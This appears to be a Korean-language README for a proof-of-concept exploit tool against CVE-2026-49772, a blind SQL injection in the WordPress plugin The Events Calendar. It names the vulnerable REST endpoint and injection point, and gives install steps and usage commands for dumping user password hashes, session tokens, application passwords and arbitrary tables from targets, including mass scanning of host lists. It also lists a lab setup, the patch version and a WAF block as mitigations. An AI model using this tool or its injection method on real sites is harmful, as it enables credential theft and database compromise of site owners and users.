The Events Calendar SQL 인젝션 (CVE-2026-49772) PoC

설명

CVE-2026-49772는 WordPress 플러그인 The Events Calendar의 인증되지 않은 블라인드 SQL 인젝션입니다. 손상된 REST 매개변수 검증기(validate_callback이 검증 대신 클로저를 반환)로 인해 실험적 tec/v1 REST API의 order 매개변수가 SQL ORDER BY 절에 검증되지 않은 채 도달합니다:

GET /wp-json/tec/v1/events?orderby=event_date&order=<INJECTION>

... ORDER BY event_date <INJECTION>, wp_posts.post_date DESC ...

이는 읽기 전용 인젝션입니다(스택 쿼리 없음, 쓰기 없음, 직접 출력 없음). 그러나 부울/시간 기반 오라클을 통해 전체 데이터베이스를 추출할 수 있습니다: 사용자 비밀번호 해시, 세션 토큰, 애플리케이션 비밀번호, 비밀 키 등.

영향 받는 버전: The Events Calendar 6.15.12 – 6.16.2 (6.16.3에서 수정됨) 심각도: CVSS 3.1 9.3 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

기능

• --check — 비파괴적 탐지: REST 네임스페이스, 플러그인 버전, 시간 기반 확인
• --recon — DB 지문: 버전, 현재 사용자, 데이터베이스, OS, 권한, 테이블 접두사
• --users — wp_users 덤프: 로그인, 이메일, 비밀번호 해시
• --user-meta — wp_usermeta 덤프: 세션 토큰, 애플리케이션 비밀번호, 권한
• --get-table — 자동 컬럼 발견으로 모든 테이블 덤프
• --query — 모든 스칼라 SELECT 결과 추출
• 두 가지 오라클 — 빠른 부울(기본값) 또는 시간 기반, 멀티스레드; 외부 의존성 없음

설치

순수 Python 3 표준 라이브러리 — requirements.txt가 표준 워크플로우를 위해 포함되어 있지만 추가로 설치하는 것은 없습니다.

OSX / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
python3 CVE-2026-49772.py --help

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-49772.git
cd CVE-2026-49772
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python CVE-2026-49772.py --help

사용법

python3 CVE-2026-49772.py <target> <action> [options]

정확히 하나의 작업을 선택하세요: --check, --recon, --users, --user-meta, --get-table <TABLE>, --query <SQL>. 모든 옵션은 --help를 실행하세요.

---

취약점 확인

python3 CVE-2026-49772.py target.tld --check

데이터베이스 정찰

python3 CVE-2026-49772.py target.tld --recon

사용자 + 비밀번호 해시 덤프

python3 CVE-2026-49772.py target.tld --users

사용자 정의 값 추출

python3 CVE-2026-49772.py target.tld --query "SELECT @@version"

튜닝: --technique boolean|time, --delay, --threads, --rows, --prefix, --where, -useragent, -timeout. -l targets.txt로 여러 호스트를 스캔하세요.

Docker PoC

취약한 플러그인(부팅 시 다운로드하지 않고 번들로 제공)과 미리 시드된 이벤트가 포함된 자체 포함 Docker Compose 랩입니다. docker/DOCKER.md를 참조하세요.

cd docker/
docker compose up -d
python3 ../CVE-2026-49772.py localhost:8080 --check

해결 방법

• The Events Calendar를 6.16.3 이상으로 업데이트하세요
• 패치가 적용될 때까지 WAF/리버스 프록시에서 /wp-json/tec/v1/을 차단하세요

참고 자료

• The Events Calendar
• CVE.org — CVE-2026-49772
• NVD — CVE-2026-49772
• GitHub Advisory — GHSA-v796-wqfq-j4xh
• Patchstack — The Events Calendar SQL Injection

면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. 자신이 소유하거나 명시적인 서면 테스트 허가를 받은 시스템에 대해서만 사용하십시오. 제작자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.